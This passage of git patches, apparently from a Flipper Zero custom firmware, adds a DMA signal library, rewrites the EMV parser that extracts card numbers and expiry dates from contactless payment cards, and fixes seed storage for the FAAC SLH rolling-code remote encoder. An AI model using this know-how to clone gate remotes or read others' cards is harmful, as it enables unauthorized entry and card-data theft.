LL_DMAMUX_REQ_TIM2_UP; + dma_config.Priority = LL_DMA_PRIORITY_VERYHIGH; + LL_DMA_Init(DMA1, LL_DMA_CHANNEL_1, &dma_config); + LL_DMA_SetDataLength(DMA1, LL_DMA_CHANNEL_1, 2); + LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_1); + + // Init timer arr register buffer and DMA channel + digital_signal_prepare_arr(signal, digital_signal_arr_buff); + dma_config.MemoryOrM2MDstAddress = (uint32_t)digital_signal_arr_buff; + dma_config.PeriphOrM2MSrcAddress = (uint32_t) & (TIM2->ARR); + dma_config.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; + dma_config.Mode = LL_DMA_MODE_NORMAL; + dma_config.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; + dma_config.MemoryOrM2MDstIncMode = LL_DMA_MEMORY_INCREMENT; + dma_config.PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_WORD; + dma_config.MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_WORD; + dma_config.NbData = signal->edge_cnt - 2; + dma_config.PeriphRequest = LL_DMAMUX_REQ_TIM2_UP; + dma_config.Priority = LL_DMA_PRIORITY_HIGH; + LL_DMA_Init(DMA1, LL_DMA_CHANNEL_2, &dma_config); + LL_DMA_SetDataLength(DMA1, LL_DMA_CHANNEL_2, signal->edge_cnt - 2); + LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_2); + + // Set up timer + LL_TIM_SetCounterMode(TIM2, LL_TIM_COUNTERMODE_UP); + LL_TIM_SetClockDivision(TIM2, LL_TIM_CLOCKDIVISION_DIV1); + LL_TIM_SetPrescaler(TIM2, 0); + LL_TIM_SetAutoReload(TIM2, 10); + LL_TIM_SetCounter(TIM2, 0); + LL_TIM_EnableUpdateEvent(TIM2); + LL_TIM_EnableDMAReq_UPDATE(TIM2); + + // Start transactions + LL_TIM_GenerateEvent_UPDATE(TIM2); // Do we really need it? + LL_TIM_EnableCounter(TIM2); + + while(!LL_DMA_IsActiveFlag_TC2(DMA1)) + ; + + LL_DMA_ClearFlag_TC1(DMA1); + LL_DMA_ClearFlag_TC2(DMA1); + LL_TIM_DisableCounter(TIM2); + LL_TIM_SetCounter(TIM2, 0); + LL_DMA_DisableChannel(DMA1, LL_DMA_CHANNEL_1); + LL_DMA_DisableChannel(DMA1, LL_DMA_CHANNEL_2); + + return true; +} diff --git a/lib/digital_signal/digital_signal.h b/lib/digital_signal/digital_signal.h new file mode 100644 index 000000000..3b3ad77f7 --- /dev/null +++ b/lib/digital_signal/digital_signal.h @@ -0,0 +1,28 @@ +#pragma once + +#include +#include +#include + +#include + +typedef struct { + bool start_level; + uint32_t edge_cnt; + uint32_t edges_max_cnt; + float* edge_timings; +} DigitalSignal; + +DigitalSignal* digital_signal_alloc(uint32_t max_edges_cnt); + +void digital_signal_free(DigitalSignal* signal); + +bool digital_signal_append(DigitalSignal* signal_a, DigitalSignal* signal_b); + +bool digital_signal_get_start_level(DigitalSignal* signal); + +uint32_t digital_signal_get_edges_cnt(DigitalSignal* signal); + +float digital_signal_get_edge(DigitalSignal* signal, uint32_t edge_num); + +bool digital_signal_send(DigitalSignal* signal, const GpioPin* gpio); diff --git a/lib/lib.mk b/lib/lib.mk index cb58fadeb..43f4a1a25 100644 --- a/lib/lib.mk +++ b/lib/lib.mk @@ -95,6 +95,11 @@ C_SOURCES += $(wildcard $(LIB_DIR)/toolbox/*/*.c) CPP_SOURCES += $(wildcard $(LIB_DIR)/toolbox/*.cpp) CPP_SOURCES += $(wildcard $(LIB_DIR)/toolbox/*/*.cpp) +# Digital signal +CFLAGS += -I$(LIB_DIR)/digital_signal +C_SOURCES += $(wildcard $(LIB_DIR)/digital_signal/*.c) + + # USB Stack CFLAGS += -I$(LIB_DIR)/libusb_stm32/inc C_SOURCES += $(LIB_DIR)/libusb_stm32/src/usbd_stm32wb55_devfs.c From 84d3fe625b10083d5ea79b329d4507152889ff32 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 20 May 2022 23:45:32 +0300 Subject: [PATCH 192/461] Update faac_slh.c temp fix --- lib/subghz/protocols/faac_slh.c | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index af1302d74..a49f9513d 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -299,7 +299,6 @@ void* subghz_protocol_decoder_faac_slh_alloc(SubGhzEnvironment* environment) { instance->base.protocol = &subghz_protocol_faac_slh; instance->generic.protocol_name = instance->base.protocol->name; instance->keystore = subghz_environment_get_keystore(environment); - seed_global = 0x0; return instance; } From c931267271228343887aa6fc7d8cc3f8ab25f954 Mon Sep 17 00:00:00 2001 From: Gary Date: Fri, 20 May 2022 18:46:07 -0400 Subject: [PATCH 193/461] Rework NFC EMV response parsing. Split TLV and tags per EMV spec. --- lib/nfc_protocols/emv.c | 207 +++++++++++++++++++++------------------- 1 file changed, 109 insertions(+), 98 deletions(-) diff --git a/lib/nfc_protocols/emv.c b/lib/nfc_protocols/emv.c index 8e14cf48e..6aaf4e606 100644 --- a/lib/nfc_protocols/emv.c +++ b/lib/nfc_protocols/emv.c @@ -10,6 +10,9 @@ const PDOLValue pdol_merchant_type = {0x9F58, {0x01}}; // Merchant type indicato const PDOLValue pdol_term_trans_qualifies = { 0x9F66, {0x79, 0x00, 0x40, 0x80}}; // Terminal transaction qualifiers +const PDOLValue pdol_addtnl_term_qualifies = { + 0x9F40, + {0x79, 0x00, 0x40, 0x80}}; // Terminal transaction qualifiers const PDOLValue pdol_amount_authorise = { 0x9F02, {0x00, 0x00, 0x00, 0x10, 0x00, 0x00}}; // Amount, authorised @@ -30,6 +33,7 @@ const PDOLValue* const pdol_values[] = { &pdol_term_type, &pdol_merchant_type, &pdol_term_trans_qualifies, + &pdol_addtnl_term_qualifies, &pdol_amount_authorise, &pdol_amount, &pdol_country_code, @@ -61,6 +65,11 @@ static const uint8_t pdol_ans[] = {0x77, 0x40, 0x82, 0x02, 0x20, 0x00, 0x57, 0x1 static void emv_trace(FuriHalNfcTxRxContext* tx_rx, const char* message) { if(furi_log_get_level() == FuriLogLevelTrace) { FURI_LOG_T(TAG, "%s", message); + printf("TX: "); + for(size_t i = 0; i < tx_rx->tx_bits / 8; i++) { + printf("%02X ", tx_rx->tx_data[i]); + } + printf("\r\nRX: "); for(size_t i = 0; i < tx_rx->rx_bits / 8; i++) { printf("%02X ", tx_rx->rx_data[i]); } @@ -68,42 +77,105 @@ static void emv_trace(FuriHalNfcTxRxContext* tx_rx, const char* message) { } } -static uint16_t emv_parse_TLV(uint8_t* dest, uint8_t* src, uint16_t* idx) { - uint8_t len = src[*idx + 1]; - memcpy(dest, &src[*idx + 2], len); - *idx = *idx + len + 1; - return len; -} - -static bool emv_decode_search_tag_u16_r(uint16_t tag, uint8_t* buff, uint16_t* idx) { - if((buff[*idx] << 8 | buff[*idx + 1]) == tag) { - *idx = *idx + 3; - return true; - } - return false; -} - -bool emv_decode_ppse_response(uint8_t* buff, uint16_t len, EmvApplication* app) { +static bool emv_decode_response(uint8_t* buff, uint16_t len, EmvApplication* app) { uint16_t i = 0; - bool app_aid_found = false; + uint16_t tag = 0, fb = 0; + uint16_t tlen = 0; + bool success = false; while(i < len) { - if(buff[i] == EMV_TAG_APP_TEMPLATE) { - uint8_t app_len = buff[++i]; - for(uint16_t j = i; j < MIN(i + app_len, len - 1); j++) { - if(buff[j] == EMV_TAG_AID) { - app_aid_found = true; - app->aid_len = buff[j + 1]; - emv_parse_TLV(app->aid, buff, &j); - } else if(buff[j] == EMV_TAG_PRIORITY) { - emv_parse_TLV(&app->priority, buff, &j); - } - } - i += app_len; + fb = buff[i]; // first byte + if((fb & 31) == 31) { // 2-byte tag + tag = buff[i] << 8 | buff[i+1]; + i++; + FURI_LOG_T(TAG, " 2-byte TLV EMV tag: %x",tag); + } else { + tag = buff[i]; + FURI_LOG_T(TAG, " 1-byte TLV EMV tag: %x",tag); } i++; + tlen=buff[i]; + if((tlen & 128) == 128) { // long length value + i++; + tlen=buff[i]; + FURI_LOG_T(TAG, " 2-byte TLV length: %d",tlen); + } else { + FURI_LOG_T(TAG, " 1-byte TLV length: %d",tlen); + } + i++; + if((fb & 32) == 32) { // "Constructed" -- contains more TLV data to parse + FURI_LOG_T(TAG, "Constructed TLV %x",tag); + if (!emv_decode_response(&buff[i], tlen, app)) { + printf( "Failed to decode response for %x \r\n",tag); + // return false; + } else { + success = true; + } + } else { + switch(tag) { + case EMV_TAG_AID: + app->aid_len = tlen; + memcpy(app->aid, &buff[i], tlen); + success = true; + FURI_LOG_T(TAG, "found EMV_TAG_AID %x",tag); + break; + case EMV_TAG_PRIORITY: + memcpy(&app->priority, &buff[i], tlen); + success = true; + break; + case EMV_TAG_CARD_NAME: + memcpy(app->name, &buff[i], tlen); + app->name[tlen] = '\0'; + app->name_found = true; + success = true; + FURI_LOG_T(TAG, "found EMV_TAG_CARD_NAME %x : %s",tag,app->name); + break; + case EMV_TAG_PDOL: + memcpy(app->pdol.data, &buff[i], tlen); + app->pdol.size = tlen; + success = true; + FURI_LOG_T(TAG, "found EMV_TAG_PDOL %x (len=%d)",tag,tlen); + break; + case EMV_TAG_AFL: + memcpy(app->afl.data, &buff[i], tlen); + app->afl.size = tlen; + success = true; + FURI_LOG_T(TAG, "found EMV_TAG_AFL %x (len=%d)",tag,tlen); + break; + case EMV_TAG_CARD_NUM: // Track 2 Equivalent Data. 0xD0 delimits PAN from expiry (YYMM) + for (int x=1; x < tlen; x++) { + if (buff[i+x+1] > 0xD0) { + memcpy(app->card_number, &buff[i], x+1); + app->card_number_len = x+1; + break; + } + } + success = true; + FURI_LOG_T(TAG, "found EMV_TAG_CARD_NUM %x (len=%d)",EMV_TAG_CARD_NUM,app->card_number_len); + break; + case EMV_TAG_PAN: + memcpy(app->card_number, &buff[i], tlen); + app->card_number_len = tlen; + success = true; + break; + case EMV_TAG_EXP_DATE: + app->exp_year = buff[i]; + app->exp_month = buff[i+1]; + success = true; + break; + case EMV_TAG_CURRENCY_CODE: + app->currency_code = (buff[i] << 8 | buff[i+1]); + success = true; + break; + case EMV_TAG_COUNTRY_CODE: + app->country_code = (buff[i] << 8 | buff[i+1]); + success = true; + break; + } + } + i += tlen; } - return app_aid_found; + return success; } bool emv_select_ppse(FuriHalNfcTxRxContext* tx_rx, EmvApplication* app) { @@ -124,7 +196,7 @@ bool emv_select_ppse(FuriHalNfcTxRxContext* tx_rx, EmvApplication* app) { FURI_LOG_D(TAG, "Send select PPSE"); if(furi_hal_nfc_tx_rx(tx_rx, 300)) { emv_trace(tx_rx, "Select PPSE answer:"); - if(emv_decode_ppse_response(tx_rx->rx_data, tx_rx->rx_bits / 8, app)) { + if(emv_decode_response(tx_rx->rx_data, tx_rx->rx_bits / 8, app)) { app_aid_found = true; } else { FURI_LOG_E(TAG, "Failed to parse application"); @@ -136,28 +208,6 @@ bool emv_select_ppse(FuriHalNfcTxRxContext* tx_rx, EmvApplication* app) { return app_aid_found; } -static bool emv_decode_select_app_response(uint8_t* buff, uint16_t len, EmvApplication* app) { - uint16_t i = 0; - bool decode_success = false; - - while(i < len) { - if(buff[i] == EMV_TAG_CARD_NAME) { - uint8_t name_len = buff[i + 1]; - emv_parse_TLV((uint8_t*)app->name, buff, &i); - app->name[name_len] = '\0'; - app->name_found = true; - decode_success = true; - } else if(((buff[i] << 8) | buff[i + 1]) == EMV_TAG_PDOL) { - i++; - app->pdol.size = emv_parse_TLV(app->pdol.data, buff, &i); - decode_success = true; - } - i++; - } - - return decode_success; -} - bool emv_select_app(FuriHalNfcTxRxContext* tx_rx, EmvApplication* app) { bool select_app_success = false; const uint8_t emv_select_header[] = { @@ -181,7 +231,7 @@ bool emv_select_app(FuriHalNfcTxRxContext* tx_rx, EmvApplication* app) { FURI_LOG_D(TAG, "Start application"); if(furi_hal_nfc_tx_rx(tx_rx, 300)) { emv_trace(tx_rx, "Start application answer:"); - if(emv_decode_select_app_response(tx_rx->rx_data, tx_rx->rx_bits / 8, app)) { + if(emv_decode_response(tx_rx->rx_data, tx_rx->rx_bits / 8, app)) { select_app_success = true; } else { FURI_LOG_E(TAG, "Failed to read PAN or PDOL"); @@ -226,22 +276,6 @@ static uint16_t emv_prepare_pdol(APDU* dest, APDU* src) { return dest->size; } -static bool emv_decode_get_proc_opt(uint8_t* buff, uint16_t len, EmvApplication* app) { - bool card_num_read = false; - - for(uint16_t i = 0; i < len; i++) { - if(buff[i] == EMV_TAG_CARD_NUM) { - app->card_number_len = 8; - memcpy(app->card_number, &buff[i + 2], app->card_number_len); - card_num_read = true; - } else if(buff[i] == EMV_TAG_AFL) { - app->afl.size = emv_parse_TLV(app->afl.data, buff, &i); - } - } - - return card_num_read; -} - static bool emv_get_processing_options(FuriHalNfcTxRxContext* tx_rx, EmvApplication* app) { bool card_num_read = false; const uint8_t emv_gpo_header[] = {0x80, 0xA8, 0x00, 0x00}; @@ -264,8 +298,10 @@ static bool emv_get_processing_options(FuriHalNfcTxRxContext* tx_rx, EmvApplicat FURI_LOG_D(TAG, "Get proccessing options"); if(furi_hal_nfc_tx_rx(tx_rx, 300)) { emv_trace(tx_rx, "Get processing options answer:"); - if(emv_decode_get_proc_opt(tx_rx->rx_data, tx_rx->rx_bits / 8, app)) { - card_num_read = true; + if(emv_decode_response(tx_rx->rx_data, tx_rx->rx_bits / 8, app)) { + if (app->card_number_len > 0) { + card_num_read = true; + } } } else { FURI_LOG_E(TAG, "Failed to get processing options"); @@ -274,31 +310,6 @@ static bool emv_get_processing_options(FuriHalNfcTxRxContext* tx_rx, EmvApplicat return card_num_read; } -static bool emv_decode_read_sfi_record(uint8_t* buff, uint16_t len, EmvApplication* app) { - bool pan_parsed = false; - - for(uint16_t i = 0; i < len; i++) { - if(buff[i] == EMV_TAG_PAN) { - if(buff[i + 1] == 8 || buff[i + 1] == 10) { - app->card_number_len = buff[i + 1]; - memcpy(app->card_number, &buff[i + 2], app->card_number_len); - pan_parsed = true; - } - } else if(emv_decode_search_tag_u16_r(EMV_TAG_EXP_DATE, buff, &i)) { - app->exp_year = buff[i++]; - app->exp_month = buff[i++]; - } else if(emv_decode_search_tag_u16_r(EMV_TAG_CURRENCY_CODE, buff, &i)) { - app->currency_code = (buff[i] << 8) | buff[i + 1]; - i += 2; - } else if(emv_decode_search_tag_u16_r(EMV_TAG_COUNTRY_CODE, buff, &i)) { - app->country_code = (buff[i] << 8) | buff[i + 1]; - i += 1; - } - } - - return pan_parsed; -} - static bool emv_read_sfi_record( FuriHalNfcTxRxContext* tx_rx, EmvApplication* app, @@ -320,7 +331,7 @@ static bool emv_read_sfi_record( if(furi_hal_nfc_tx_rx(tx_rx, 300)) { emv_trace(tx_rx, "SFI record:"); - if(emv_decode_read_sfi_record(tx_rx->rx_data, tx_rx->rx_bits / 8, app)) { + if(emv_decode_response(tx_rx->rx_data, tx_rx->rx_bits / 8, app)) { card_num_read = true; } } else { From 96fda49dcc37f60a82820718c5fefb027ed7a693 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 21 May 2022 03:13:44 +0300 Subject: [PATCH 194/461] Update faac_slh.c seed view debug --- lib/subghz/protocols/faac_slh.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index a49f9513d..0bc9b618c 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -261,7 +261,8 @@ bool subghz_protocol_encoder_faac_slh_deserialize(void* context, FlipperFormat* FURI_LOG_E(TAG, "Missing Seed"); break; } - + instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | seed_data[3] ; + FURI_LOG_I(TAG, "encoder seed = %8X", instance->generic.seed); instance->encoder.is_runing = true; res = true; @@ -444,6 +445,8 @@ bool subghz_protocol_decoder_faac_slh_serialize( FURI_LOG_E(TAG, "Unable to add Seed"); res = false; } + instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | seed_data[3] ; + FURI_LOG_I(TAG, "decoder seed = %8X", instance->generic.seed); return res; } @@ -468,6 +471,8 @@ bool subghz_protocol_decoder_faac_slh_deserialize(void* context, FlipperFormat* FURI_LOG_E(TAG, "Missing Seed"); break; } + instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | seed_data[3] ; + FURI_LOG_I(TAG, "decoder seed = %8X", instance->generic.seed); res = true; } while(false); From a10b337008146fa3c9fe688b4d96786238b980d0 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 21 May 2022 03:29:31 +0300 Subject: [PATCH 195/461] Update faac_slh.c more logging --- lib/subghz/protocols/faac_slh.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 0bc9b618c..c3745bf0c 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -139,6 +139,7 @@ static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* inst switch(manufacture_code->type) { case KEELOQ_LEARNING_FAAC: //FAAC Learning + FURI_LOG_I(TAG, "seed gen data = %8X", instance->generic.seed); man = subghz_protocol_keeloq_common_faac_learning(instance->generic.seed, manufacture_code->key); hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); break; @@ -398,6 +399,7 @@ static void subghz_protocol_faac_slh_check_remote_controller SubGhzKeystore* keystore, const char** manufacture_name) { instance->seed = seed_global; + FURI_LOG_I(TAG, "seed check = %8X", instance->seed); uint32_t code_fix = instance->data >> 32; uint32_t code_hop = instance->data & 0xFFFFFFFF; instance->serial = code_fix >> 4; From 69f2fc839de235f99cb1b76bdcdb35e378027e89 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 21 May 2022 05:02:12 +0300 Subject: [PATCH 196/461] Update faac_slh.c Seed now is saving properly, no deletion after reboot. --- lib/subghz/protocols/faac_slh.c | 34 ++++++++++++++++++--------------- 1 file changed, 19 insertions(+), 15 deletions(-) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index c3745bf0c..871a4375b 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -78,7 +78,7 @@ const SubGhzProtocol subghz_protocol_faac_slh = { .encoder = &subghz_protocol_faac_slh_encoder, }; -static uint32_t seed_global; +//static uint32_t seed_global; /** * Analysis of received data @@ -169,7 +169,7 @@ bool subghz_protocol_faac_slh_create_data( instance->generic.btn = btn; instance->generic.cnt = cnt; instance->generic.seed = seed; - seed_global = instance->generic.seed; + //seed_global = instance->generic.seed; instance->manufacture_name = manufacture_name; instance->generic.data_count_bit = 64; bool res = subghz_protocol_faac_slh_gen_data(instance); @@ -232,6 +232,16 @@ bool subghz_protocol_encoder_faac_slh_deserialize(void* context, FlipperFormat* FURI_LOG_E(TAG, "Deserialize error"); break; } + uint8_t seed_data[sizeof(uint32_t)] = {0}; + for(size_t i = 0; i < sizeof(uint32_t); i++) { + seed_data[sizeof(uint32_t) - i - 1] = (instance->generic.seed >> i * 8) & 0xFF; + } + if(!flipper_format_read_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) { + FURI_LOG_E(TAG, "Missing Seed"); + break; + } + instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | seed_data[3] ; + FURI_LOG_I(TAG, "encoder seed = %8X", instance->generic.seed); subghz_protocol_faac_slh_check_remote_controller( &instance->generic, instance->keystore, &instance->manufacture_name); @@ -254,16 +264,7 @@ bool subghz_protocol_encoder_faac_slh_deserialize(void* context, FlipperFormat* FURI_LOG_E(TAG, "Unable to add Key"); break; } - uint8_t seed_data[sizeof(uint32_t)] = {0}; - for(size_t i = 0; i < sizeof(uint32_t); i++) { - seed_data[sizeof(uint32_t) - i - 1] = (instance->generic.seed >> i * 8) & 0xFF; - } - if(!flipper_format_read_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) { - FURI_LOG_E(TAG, "Missing Seed"); - break; - } - instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | seed_data[3] ; - FURI_LOG_I(TAG, "encoder seed = %8X", instance->generic.seed); + instance->encoder.is_runing = true; res = true; @@ -398,7 +399,7 @@ static void subghz_protocol_faac_slh_check_remote_controller (SubGhzBlockGeneric* instance, SubGhzKeystore* keystore, const char** manufacture_name) { - instance->seed = seed_global; + //instance->seed = seed_global; FURI_LOG_I(TAG, "seed check = %8X", instance->seed); uint32_t code_fix = instance->data >> 32; uint32_t code_hop = instance->data & 0xFFFFFFFF; @@ -435,10 +436,9 @@ bool subghz_protocol_decoder_faac_slh_serialize( FuriHalSubGhzPreset preset) { furi_assert(context); SubGhzProtocolDecoderFaacSLH* instance = context; - subghz_protocol_faac_slh_check_remote_controller( - &instance->generic, instance->keystore, &instance->manufacture_name); bool res = subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); + uint8_t seed_data[sizeof(uint32_t)] = {0}; for(size_t i = 0; i < sizeof(uint32_t); i++) { seed_data[sizeof(uint32_t) - i - 1] = (instance->generic.seed >> i * 8) & 0xFF; @@ -449,6 +449,10 @@ bool subghz_protocol_decoder_faac_slh_serialize( } instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | seed_data[3] ; FURI_LOG_I(TAG, "decoder seed = %8X", instance->generic.seed); + + subghz_protocol_faac_slh_check_remote_controller( + &instance->generic, instance->keystore, &instance->manufacture_name); + return res; } From 2f667246dba6badab38eb81b562ba782085464ed Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 21 May 2022 22:44:27 +0300 Subject: [PATCH 197/461] Remove broken \ unworking plugins Remove unworking Flappy Bird, JukeBox and Universa_RF apps (didnt found way to use) and non-working Spectrum Analyzer. --- applications/applications.c | 51 -- applications/applications.mk | 35 -- applications/flappy_bird/bird.h | 54 --- applications/flappy_bird/flappy_bird.c | 256 ---------- applications/jukebox/jukebox.c | 276 ----------- .../spectrum_analyzer/spectrum_analyzer.c | 459 ------------------ .../spectrum_analyzer/spectrum_analyzer.h | 66 --- .../spectrum_analyzer_worker.c | 195 -------- .../spectrum_analyzer_worker.h | 33 -- applications/universal_rf/universal_rf.c | 274 ----------- assets/compiled/assets_icons.c | 11 - assets/compiled/assets_icons.h | 1 - .../frame_00_delay-0.04s.png | Bin 470 -> 0 bytes .../frame_01_delay-0.04s.png | Bin 411 -> 0 bytes .../frame_02_delay-0.04s.png | Bin 411 -> 0 bytes .../frame_03_delay-0.04s.png | Bin 411 -> 0 bytes .../frame_04_delay-0.04s.png | Bin 401 -> 0 bytes .../frame_05_delay-0.04s.png | Bin 397 -> 0 bytes .../frame_06_delay-0.04s.png | Bin 400 -> 0 bytes .../frame_07_delay-0.04s.png | Bin 404 -> 0 bytes .../frame_08_delay-0.04s.png | Bin 414 -> 0 bytes .../frame_09_delay-0.04s.png | Bin 427 -> 0 bytes .../MainMenu/UniversalRemote_14/frame_1.png | Bin 170 -> 0 bytes .../frame_10_delay-0.04s.png | Bin 427 -> 0 bytes .../frame_11_delay-0.04s.png | Bin 426 -> 0 bytes .../frame_12_delay-0.04s.png | Bin 431 -> 0 bytes .../frame_13_delay-0.04s.png | Bin 424 -> 0 bytes .../frame_14_delay-0.04s.png | Bin 424 -> 0 bytes .../frame_15_delay-0.04s.png | Bin 424 -> 0 bytes .../frame_16_delay-0.04s.png | Bin 424 -> 0 bytes .../frame_17_delay-0.04s.png | Bin 426 -> 0 bytes .../frame_18_delay-0.04s.png | Bin 418 -> 0 bytes .../frame_19_delay-0.04s.png | Bin 419 -> 0 bytes .../MainMenu/UniversalRemote_14/frame_2.png | Bin 165 -> 0 bytes .../frame_20_delay-0.04s.png | Bin 425 -> 0 bytes .../frame_21_delay-0.04s.png | Bin 415 -> 0 bytes .../frame_22_delay-0.04s.png | Bin 405 -> 0 bytes .../frame_23_delay-0.04s.png | Bin 394 -> 0 bytes .../frame_24_delay-0.04s.png | Bin 401 -> 0 bytes .../frame_25_delay-0.04s.png | Bin 401 -> 0 bytes .../frame_26_delay-0.04s.png | Bin 404 -> 0 bytes .../frame_27_delay-0.04s.png | Bin 410 -> 0 bytes .../frame_28_delay-0.04s.png | Bin 411 -> 0 bytes .../frame_29_delay-0.04s.png | Bin 411 -> 0 bytes .../MainMenu/UniversalRemote_14/frame_3.png | Bin 171 -> 0 bytes .../MainMenu/UniversalRemote_14/frame_4.png | Bin 168 -> 0 bytes .../MainMenu/UniversalRemote_14/frame_5.png | Bin 169 -> 0 bytes .../MainMenu/UniversalRemote_14/frame_6.png | Bin 165 -> 0 bytes .../MainMenu/UniversalRemote_14/frame_7.png | Bin 166 -> 0 bytes .../MainMenu/UniversalRemote_14/frame_rate | 1 - 50 files changed, 1712 deletions(-) delete mode 100644 applications/flappy_bird/bird.h delete mode 100644 applications/flappy_bird/flappy_bird.c delete mode 100644 applications/jukebox/jukebox.c delete mode 100644 applications/spectrum_analyzer/spectrum_analyzer.c delete mode 100644 applications/spectrum_analyzer/spectrum_analyzer.h delete mode 100644 applications/spectrum_analyzer/spectrum_analyzer_worker.c delete mode 100644 applications/spectrum_analyzer/spectrum_analyzer_worker.h delete mode 100644 applications/universal_rf/universal_rf.c delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_00_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_01_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_02_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_03_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_04_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_05_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_06_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_07_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_08_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_09_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_1.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_10_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_11_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_12_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_13_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_14_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_15_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_16_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_17_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_18_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_19_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_2.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_20_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_21_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_22_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_23_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_24_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_25_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_26_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_27_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_28_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_29_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_3.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_4.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_5.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_6.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_7.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_rate diff --git a/applications/applications.c b/applications/applications.c index 4e3b8087a..c932f86ce 100644 --- a/applications/applications.c +++ b/applications/applications.c @@ -39,8 +39,6 @@ extern int32_t passport_app(void* p); extern int32_t scened_app(void* p); extern int32_t storage_test_app(void* p); extern int32_t subghz_app(void* p); -extern int32_t jukebox_app(void *p); -extern int32_t universal_rf_remote_app(void *p); extern int32_t usb_mouse_app(void* p); extern int32_t usb_test_app(void* p); extern int32_t vibro_test_app(void* p); @@ -54,10 +52,6 @@ extern int32_t music_player_app(void* p); extern int32_t snake_game_app(void* p); extern int32_t tetris_game_app(void *p); extern int32_t clock_app(void *p); -// extern int32_t floopper_bloopper(void* p); -// extern int32_t raycast_game_app(void* p); -extern int32_t spectrum_analyzer_app(void* p); -extern int32_t flappy_game_app(void* p); // On system start hooks declaration extern void bt_on_system_start(); @@ -231,22 +225,6 @@ const FlipperApplication FLIPPER_APPS[] = { .flags = FlipperApplicationFlagDefault}, #endif -#ifdef 